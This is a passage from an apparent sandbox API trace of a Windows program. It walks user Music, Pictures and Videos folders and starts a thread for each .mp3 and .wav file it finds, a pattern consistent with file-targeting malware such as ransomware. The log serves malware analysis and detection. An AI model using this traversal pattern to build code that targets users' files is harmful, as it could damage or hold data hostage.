ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0069.071] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429060) returned 1 [0069.071] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430968) returned 1 [0069.071] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480ee8) returned 1 [0069.071] RtlExitUserThread (Status=0x0) Thread: id = 396 os_tid = 0xd18 [0069.072] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x3430968 [0069.072] wcscpy (in: _Dest=0x3430968, _Source="C:\\Users\\Default\\Documents\\My Music" | out: _Dest="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0069.072] wcscat (in: _Dest=0x3430968, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\My Music\\") returned="C:\\Users\\Default\\Documents\\My Music\\" [0069.072] wcscat (in: _Dest=0x3430968, _Source="*" | out: _Dest="C:\\Users\\Default\\Documents\\My Music\\*") returned="C:\\Users\\Default\\Documents\\My Music\\*" [0069.072] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429060 [0069.072] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*", lpFindFileData=0x3429060 | out: lpFindFileData=0x3429060*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0069.076] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429060) returned 1 [0069.076] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430968) returned 1 [0069.076] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481528) returned 1 [0069.076] RtlExitUserThread (Status=0x0) Thread: id = 397 os_tid = 0x3cc [0069.077] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x34801e0 [0069.077] wcscpy (in: _Dest=0x34801e0, _Source="C:\\Users\\Default\\Documents\\My Pictures" | out: _Dest="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0069.077] wcscat (in: _Dest=0x34801e0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\My Pictures\\") returned="C:\\Users\\Default\\Documents\\My Pictures\\" [0069.077] wcscat (in: _Dest=0x34801e0, _Source="*" | out: _Dest="C:\\Users\\Default\\Documents\\My Pictures\\*") returned="C:\\Users\\Default\\Documents\\My Pictures\\*" [0069.077] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429060 [0069.077] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*", lpFindFileData=0x3429060 | out: lpFindFileData=0x3429060*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0069.079] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429060) returned 1 [0069.079] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34801e0) returned 1 [0069.079] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430c80) returned 1 [0069.079] RtlExitUserThread (Status=0x0) Thread: id = 398 os_tid = 0xe60 [0069.080] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x3430968 [0069.080] wcscpy (in: _Dest=0x3430968, _Source="C:\\Users\\Default\\Documents\\My Videos" | out: _Dest="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0069.080] wcscat (in: _Dest=0x3430968, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\My Videos\\") returned="C:\\Users\\Default\\Documents\\My Videos\\" [0069.080] wcscat (in: _Dest=0x3430968, _Source="*" | out: _Dest="C:\\Users\\Default\\Documents\\My Videos\\*") returned="C:\\Users\\Default\\Documents\\My Videos\\*" [0069.080] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429060 [0069.080] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*", lpFindFileData=0x3429060 | out: lpFindFileData=0x3429060*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0069.082] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429060) returned 1 [0069.082] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430968) returned 1 [0069.082] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430b20) returned 1 [0069.082] RtlExitUserThread (Status=0x0) Thread: id = 399 os_tid = 0xda8 [0069.083] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x34801e0 [0069.083] wcscpy (in: _Dest=0x34801e0, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" [0069.083] wcscat (in: _Dest=0x34801e0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" [0069.083] wcscat (in: _Dest=0x34801e0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\*") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\*" [0069.083] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429060 [0069.083] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\*", lpFindFileData=0x3429060 | out: lpFindFileData=0x3429060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47e95dd0, ftCreationTime.dwHighDateTime=0x1d4cb77, ftLastAccessTime.dwLowDateTime=0x1883dea0, ftLastAccessTime.dwHighDateTime=0x1d4c819, ftLastWriteTime.dwLowDateTime=0x1883dea0, ftLastWriteTime.dwHighDateTime=0x1d4c819, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433f28 [0069.083] wcscmp (_String1=".", _String2=".") returned 0 [0069.083] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x3429060 | out: lpFindFileData=0x3429060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47e95dd0, ftCreationTime.dwHighDateTime=0x1d4cb77, ftLastAccessTime.dwLowDateTime=0x1883dea0, ftLastAccessTime.dwHighDateTime=0x1d4c819, ftLastWriteTime.dwLowDateTime=0x1883dea0, ftLastWriteTime.dwHighDateTime=0x1d4c819, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.083] wcscmp (_String1="..", _String2=".") returned 1 [0069.083] wcscmp (_String1="..", _String2="..") returned 0 [0069.083] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x3429060 | out: lpFindFileData=0x3429060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc215cec0, ftCreationTime.dwHighDateTime=0x1d4ce58, ftLastAccessTime.dwLowDateTime=0xbd6150c0, ftLastAccessTime.dwHighDateTime=0x1d4ce3f, ftLastWriteTime.dwLowDateTime=0xbd6150c0, ftLastWriteTime.dwHighDateTime=0x1d4ce3f, nFileSizeHigh=0x0, nFileSizeLow=0x43a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9K1ysq099GEfJ.mp3", cAlternateFileName="9K1YSQ~1.MP3")) returned 1 [0069.083] wcscmp (_String1="9K1ysq099GEfJ.mp3", _String2=".") returned 1 [0069.083] wcscmp (_String1="9K1ysq099GEfJ.mp3", _String2="..") returned 1 [0069.083] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33ccef0 [0069.083] wcscpy (in: _Dest=0x33ccef0, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" [0069.084] wcscat (in: _Dest=0x33ccef0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" [0069.084] wcscat (in: _Dest=0x33ccef0, _Source="9K1ysq099GEfJ.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3" [0070.483] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ccef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x75c [0070.485] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x3429060 | out: lpFindFileData=0x3429060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeab09560, ftCreationTime.dwHighDateTime=0x1d4c9e2, ftLastAccessTime.dwLowDateTime=0x10a157e0, ftLastAccessTime.dwHighDateTime=0x1d4ce03, ftLastWriteTime.dwLowDateTime=0x10a157e0, ftLastWriteTime.dwHighDateTime=0x1d4ce03, nFileSizeHigh=0x0, nFileSizeLow=0x558, dwReserved0=0x0, dwReserved1=0x0, cFileName="C7FU2uJyzcFmW_CXsSC.mp3", cAlternateFileName="C7FU2U~1.MP3")) returned 1 [0070.485] wcscmp (_String1="C7FU2uJyzcFmW_CXsSC.mp3", _String2=".") returned 1 [0070.485] wcscmp (_String1="C7FU2uJyzcFmW_CXsSC.mp3", _String2="..") returned 1 [0070.485] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x33cfb48 [0070.485] wcscpy (in: _Dest=0x33cfb48, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" [0070.485] wcscat (in: _Dest=0x33cfb48, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" [0070.485] wcscat (in: _Dest=0x33cfb48, _Source="C7FU2uJyzcFmW_CXsSC.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3" [0070.485] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cfb48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408 [0070.485] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x3429060 | out: lpFindFileData=0x3429060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dbf37f0, ftCreationTime.dwHighDateTime=0x1d4cf19, ftLastAccessTime.dwLowDateTime=0xe9f65310, ftLastAccessTime.dwHighDateTime=0x1d4cbc4, ftLastWriteTime.dwLowDateTime=0xe9f65310, ftLastWriteTime.dwHighDateTime=0x1d4cbc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IOn-Zuuuu rn3l18", cAlternateFileName="ION-ZU~1")) returned 1 [0070.486] wcscmp (_String1="IOn-Zuuuu rn3l18", _String2=".") returned 1 [0070.486] wcscmp (_String1="IOn-Zuuuu rn3l18", _String2="..") returned 1 [0070.486] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0070.486] wcscpy (in: _Dest=0x3479d30, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" [0070.486] wcscat (in: _Dest=0x3479d30, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" [0070.486] wcscat (in: _Dest=0x3479d30, _Source="IOn-Zuuuu rn3l18" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18" [0070.486] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3479d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0 [0070.486] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x3429060 | out: lpFindFileData=0x3429060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a639070, ftCreationTime.dwHighDateTime=0x1d4ccfb, ftLastAccessTime.dwLowDateTime=0xa4c7e990, ftLastAccessTime.dwHighDateTime=0x1d4cf82, ftLastWriteTime.dwLowDateTime=0xa4c7e990, ftLastWriteTime.dwHighDateTime=0x1d4cf82, nFileSizeHigh=0x0, nFileSizeLow=0x1813, dwReserved0=0x0, dwReserved1=0x0, cFileName="kXmdmgc4Bx_C.mp3", cAlternateFileName="KXMDMG~1.MP3")) returned 1 [0070.486] wcscmp (_String1="kXmdmgc4Bx_C.mp3", _String2=".") returned 1 [0070.486] wcscmp (_String1="kXmdmgc4Bx_C.mp3", _String2="..") returned 1 [0070.486] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0070.487] wcscpy (in: _Dest=0x3479da8, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" [0070.487] wcscat (in: _Dest=0x3479da8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" [0070.487] wcscat (in: _Dest=0x3479da8, _Source="kXmdmgc4Bx_C.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3" [0070.487] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479da8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0070.487] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x3429060 | out: lpFindFileData=0x3429060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5620180, ftCreationTime.dwHighDateTime=0x1d4cfbb, ftLastAccessTime.dwLowDateTime=0xc15622a0, ftLastAccessTime.dwHighDateTime=0x1d4cee4, ftLastWriteTime.dwLowDateTime=0xc15622a0, ftLastWriteTime.dwHighDateTime=0x1d4cee4, nFileSizeHigh=0x0, nFileSizeLow=0x51ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="vdJXCAf7Mzr8GnbL-_r.mp3", cAlternateFileName="VDJXCA~1.MP3")) returned 1 [0070.487] wcscmp (_String1="vdJXCAf7Mzr8GnbL-_r.mp3", _String2=".") returned 1 [0070.487] wcscmp (_String1="vdJXCAf7Mzr8GnbL-_r.mp3", _String2="..") returned 1 [0070.487] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x33c3a58 [0070.487] wcscpy (in: _Dest=0x33c3a58, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" [0070.487] wcscat (in: _Dest=0x33c3a58, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" [0070.487] wcscat (in: _Dest=0x33c3a58, _Source="vdJXCAf7Mzr8GnbL-_r.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3" [0070.488] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c3a58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8 [0070.488] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x3429060 | out: lpFindFileData=0x3429060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5620180, ftCreationTime.dwHighDateTime=0x1d4cfbb, ftLastAccessTime.dwLowDateTime=0xc15622a0, ftLastAccessTime.dwHighDateTime=0x1d4cee4, ftLastWriteTime.dwLowDateTime=0xc15622a0, ftLastWriteTime.dwHighDateTime=0x1d4cee4, nFileSizeHigh=0x0, nFileSizeLow=0x51ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="vdJXCAf7Mzr8GnbL-_r.mp3", cAlternateFileName="VDJXCA~1.MP3")) returned 0 [0070.488] FindClose (in: hFindFile=0x3433f28 | out: hFindFile=0x3433f28) returned 1 [0070.488] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429060) returned 1 [0070.488] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34801e0) returned 1 [0070.488] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422418) returned 1 [0070.489] RtlExitUserThread (Status=0x0) Thread: id = 400 os_tid = 0xb84 [0069.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x3480240 [0069.085] wcscpy (in: _Dest=0x3480240, _Source="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms" [0069.085] wcscat (in: _Dest=0x3480240, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\" [0069.085] wcscat (in: _Dest=0x3480240, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\*") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\*" [0069.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34292c8 [0069.085] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\*", lpFindFileData=0x34292c8 | out: lpFindFileData=0x34292c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x556f0ae0, ftCreationTime.dwHighDateTime=0x1d4cd52, ftLastAccessTime.dwLowDateTime=0xc1631770, ftLastAccessTime.dwHighDateTime=0x1d4c8f0, ftLastWriteTime.dwLowDateTime=0xc1631770, ftLastWriteTime.dwHighDateTime=0x1d4c8f0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433fe8 [0069.085] wcscmp (_String1=".", _String2=".") returned 0 [0069.085] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x34292c8 | out: lpFindFileData=0x34292c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x556f0ae0, ftCreationTime.dwHighDateTime=0x1d4cd52, ftLastAccessTime.dwLowDateTime=0xc1631770, ftLastAccessTime.dwHighDateTime=0x1d4c8f0, ftLastWriteTime.dwLowDateTime=0xc1631770, ftLastWriteTime.dwHighDateTime=0x1d4c8f0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.085] wcscmp (_String1="..", _String2=".") returned 1 [0069.085] wcscmp (_String1="..", _String2="..") returned 0 [0069.085] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x34292c8 | out: lpFindFileData=0x34292c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b65b830, ftCreationTime.dwHighDateTime=0x1d4d183, ftLastAccessTime.dwLowDateTime=0xae5861f0, ftLastAccessTime.dwHighDateTime=0x1d4d51e, ftLastWriteTime.dwLowDateTime=0xae5861f0, ftLastWriteTime.dwHighDateTime=0x1d4d51e, nFileSizeHigh=0x0, nFileSizeLow=0x2985, dwReserved0=0x0, dwReserved1=0x0, cFileName="0_XOaEVDN0.wav", cAlternateFileName="0_XOAE~1.WAV")) returned 1 [0069.085] wcscmp (_String1="0_XOaEVDN0.wav", _String2=".") returned 1 [0069.085] wcscmp (_String1="0_XOaEVDN0.wav", _String2="..") returned 1 [0069.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6e) returned 0x3479b50 [0069.085] wcscpy (in: _Dest=0x3479b50, _Source="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms" [0069.085] wcscat (in: _Dest=0x3479b50, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\" [0069.085] wcscat (in: _Dest=0x3479b50, _Source="0_XOaEVDN0.wav" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav" [0070.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x760 [0070.481] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x34292c8 | out: lpFindFileData=0x34292c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63877de0, ftCreationTime.dwHighDateTime=0x1d4d416, ftLastAccessTime.dwLowDateTime=0xc0c39eb0, ftLastAccessTime.dwHighDateTime=0x1d4d5cb, ftLastWriteTime.dwLowDateTime=0xc0c39eb0, ftLastWriteTime.dwHighDateTime=0x1d4d5cb, nFileSizeHigh=0x0, nFileSizeLow=0xf745, dwReserved0=0x0, dwReserved1=0x0, cFileName="fihvl.wav", cAlternateFileName="")) returned 1 [0070.481] wcscmp (_String1="fihvl.wav", _String2=".") returned 1 [0070.481] wcscmp (_String1="fihvl.wav", _String2="..") returned 1 [0070.481] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347e2d0 [0070.481] wcscpy (in: _Dest=0x347e2d0, _Source="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms" [0070.481] wcscat (in: _Dest=0x347e2d0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\" [0070.481] wcscat (in: _Dest=0x347e2d0, _Source="fihvl.wav" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav" [0070.481] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e2d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b8 [0070.482] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x34292c8 | out: lpFindFileData=0x34292c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd9c1290, ftCreationTime.dwHighDateTime=0x1d4d3ed, ftLastAccessTime.dwLowDateTime=0xafc07b70, ftLastAccessTime.dwHighDateTime=0x1d4d052, ftLastWriteTime.dwLowDateTime=0xafc07b70, ftLastWriteTime.dwHighDateTime=0x1d4d052, nFileSizeHigh=0x0, nFileSizeLow=0x8d4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SiV7.wav", cAlternateFileName="")) returned 1 [0070.482] wcscmp (_String1="SiV7.wav", _String2=".") returned 1 [0070.482] wcscmp (_String1="SiV7.wav", _String2="..") returned 1 [0070.482] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347e3b0 [0070.482] wcscpy (in: _Dest=0x347e3b0, _Source="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms" [0070.482] wcscat (in: _Dest=0x347e3b0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\" [0070.482] wcscat (in: _Dest=0x347e3b0, _Source="SiV7.wav" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav" [0070.482] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e3b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c8 [0070.482] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x34292c8 | out: lpFindFileData=0x34292c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd9c1290, ftCreationTime.dwHighDateTime=0x1d4d3ed, ftLastAccessTime.dwLowDateTime=0xafc07b70, ftLastAccessTime.dwHighDateTime=0x1d4d052, ftLastWriteTime.dwLowDateTime=0xafc07b70, ftLastWriteTime.dwHighDateTime=0x1d4d052, nFileSizeHigh=0x0, nFileSizeLow=0x8d4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SiV7.wav", cAlternateFileName="")) returned 0 [0070.483] FindClose (in: hFindFile=0x3433fe8 | out: hFindFile=0x3433fe8) returned 1 [0070.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34292c8) returned 1 [0070.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480240) returned 1 [0070.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430ee8) returned 1 [0070.483] RtlExitUserThread (Status=0x0) Thread: id = 401 os_tid = 0x1004 [0069.086] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav" (normalized: "c:\\users\\fd1hvy\\music\\mpk k-jq.wav")) returned 